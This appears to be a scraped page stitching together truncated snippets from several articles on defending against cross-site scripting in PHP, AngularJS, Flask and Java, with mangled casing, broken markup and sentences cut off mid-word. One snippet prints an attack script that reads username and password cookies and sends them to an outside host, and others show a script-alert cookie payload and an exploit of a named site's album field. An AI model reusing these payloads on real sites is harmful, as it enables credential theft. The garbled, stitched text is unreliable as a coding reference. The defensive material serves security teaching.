how to avoid xss attacks

Cross-site scripting (XSS) is no longer a new topic, and even many large companies have suffered from this. The simplest and most direct defense method is to prohibit any HTML Tag input and encode user input (htmlencode ). What should I do if I want to support some formats for user input? One method is the BB code method adopted by many forums. Use specific tags instead of some formats. For example, [B] indicates bold, and so on. However, the form o

This article mainly introduces how to use SCE in AngularJS to prevent XSS attacks and prevent cross-site scripting vulnerabilities by reasonably transcoding to HTML, for more information about the XSS (Cross-Site Scripting) solutions and how to use the SCE ($ sceProvider) and sanitize service features in AngularJS to correctly process

Using SCE in AngularJS to prevent XSS attacks, angularjsxss This article shows different XSS (Cross-Site Scripting) solutions and how to use the SCE ($ sceProvider) and sanitize service features in AngularJS to correctly process XSS. If I leave out any important information, please directly comment/suggest. Sorry for t

Recently in the Python flask framework to write things, by the way, the role of HttpOnly to come out, mainly to prevent XSS vulnerability attacks.The following hello.py are written in flask.650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M02/4C/EA/wKioL1RHVVjgMx2WAAEL-jYlx7k916.jpg "title=" Flask1.jpg "alt=" Wkiol1rhvvjgmx2waael-jylx7k916.jpg "/>The code adds two cookie values, one with a httponly tag and the other without a httponly tag.Index.

/** * Prevents basic XSS attacks from filtering out HTML tags * Converts special characters of HTML to HTML entities htmlentities * Converts # and% to their corresponding entity symbol * plus $ The length parameter to limit the maximum length of data submitted */ Function transform_html ($string, $length = null) {//helps prevent XSS

PHP defends against XSS attacks, using methods and details to see http://www.tongqiong.com/read.php?tid-474.html function Remove_xss ($val) { Remove all non-printable characters. CR (0a) and LF (0b) and TAB (9) are allowed This prevents some character re-spacing such as Note that you had to handle splits with \ n, \ r, and \ t later since they *are* allowed in some inputs

Many domestic forums have a cross-site scripting loophole, foreign also many such examples, even Google has appeared, but in early December revised. (Editor's note: For cross-site scripting exploits, readers can refer to the "detailed XSS cross-site scripting Attack"). Cross-station attacks are easy to construct, and very covert, not easy to be Chage (usually steal information immediately jump back to the o

Introduction to cross Site scripting attacks (Scripting), which is not confused with the abbreviations of cascading style sheets (cascading style Sheets, CSS), is abbreviated as XSS for cross-site scripting attacks.A malicious attacker inserts malicious script code into a Web page, and when the user browses to the page, the script code embedded within the Web is executed to achieve the special purpose of th

Servletexception { } @Override public void DoFilter (ServletRequest request, servletresponse response, Filterchain chain) throws IOException, Servletexception { Chain.dofilter (New Xsshttpservletrequestwrapper ((httpservletrequest) request), response); } @Override public void Destroy () { } } The key is the implementation of Xsshttpservletrequestwrapper, inheriting the httpservletrequestwrapper of the servlet, and rewriting the corresponding several possible methods w

user name and password of other users.A malicious user would enter thisLet's see what's hidden in http://test.com/hack.js.var Username=cookiehelper.getcookie (' username '). Value;var password=cookiehelper.getcookie (' password '). Value;var Script =document.createelement (' script '); script.src= ' http://test.com/index.php?username= ' +username+ ' Password= ' +password;document.body.appendchild (script);A few simple JavaScript, get the user name password in the cookie, use JSONP to http://te

The main way to avoid XSS is to filter the content input and output provided by the user, and many languages provide filtering for HTML: You can use the following functions to filter the parameters that appear to be XSS vulnerabilities PHP's Htmlentities () or Htmlspecialchars ().Python's Cgi.escape (). ASP's Server.HTMLEncode (). Asp. NET Server.HTMLEncode (

PHP-Prevent XSS (cross-site scripting attacks)

can cause XSS attacks. It can be used to mount Trojans and steal sensitive website information! Vulnerability exploitation:Register a user and go to the album management page to create a new album.Album management. Create a new album in the lower right corner. You can enter Html code for the album name.Http://52cmd.cn/usercpspacemanagealbum.aspxHttp://52cmd.cn/usercpspacemanagealbum.aspx? Albumid =-1 In

Trace and track are the HTTP methods used to debug Web server connections. a cross-site scripting vulnerability exists in a server that supports this approach, often referred to as XST when describing various browser defects. An attacker could exploit this vulnerability to spoof legitimate users and obtain their private information. Disabling trace can be accomplished by using the rewrite featureRewriteengine onRewritecondi%{request_method} ^tracerewriterule. *-[F]or you can configure the approp

1. Installation Htmlpurifier is a rich text HTML filter written in PHP, usually we can use it to prevent XSS cross-site attacks, more information about Htmlpurifier please refer to its official website: http://htmlpurifier.org/. Purifier is an expansion pack that integrates htmlpurifier in Laravel 5, and we can install this extension package through Composer: Composer require Mews/purifier After the inst

1. Recently in the Python flask framework to write things, by the way the role of HttpOnly to come out, mainly to prevent XSS vulnerability attacks.The following hello.py are written in flask. 2. Add two cookie values to the code, one with the httponly tag and one without the httponly tag.Index.html is a simple XSS test JS code The effect of HttpOnly on XSS

XSS attacks when setting cookies We all know that many XSS attacks aim to obtain users' cookie information. The most common method is to transmit cookies to other servers by setting src in js. So how can we prevent js from getting cookies? Here is a simple method. Taking PHP as an example, we seldom write the followi

How can we prevent XSS attacks? my comment function cannot prevent '> script alert (document. cookie) script = '> Script alert (document. cookie) script This type of code attacks, but it doesn't matter if I look at the CSDN Forum. what should I do to prevent such character attacks like the forum? If there is no wa

unconverted. In htmlspecialchars: (Ampersand) becomes amp; "(Double quote) becomes quot; when ENT_NOQUOTES is not set. (Single quote) becomes #039; only when ENT_QUOTES is set. > (Greater than) becomes gt; Therefore, using htmlentities ($ variable, ENT_QUOTES) is safer than htmlentities ($ variable. however, htmlentities () is only a character processing function. In many cases, it may cause xss attacks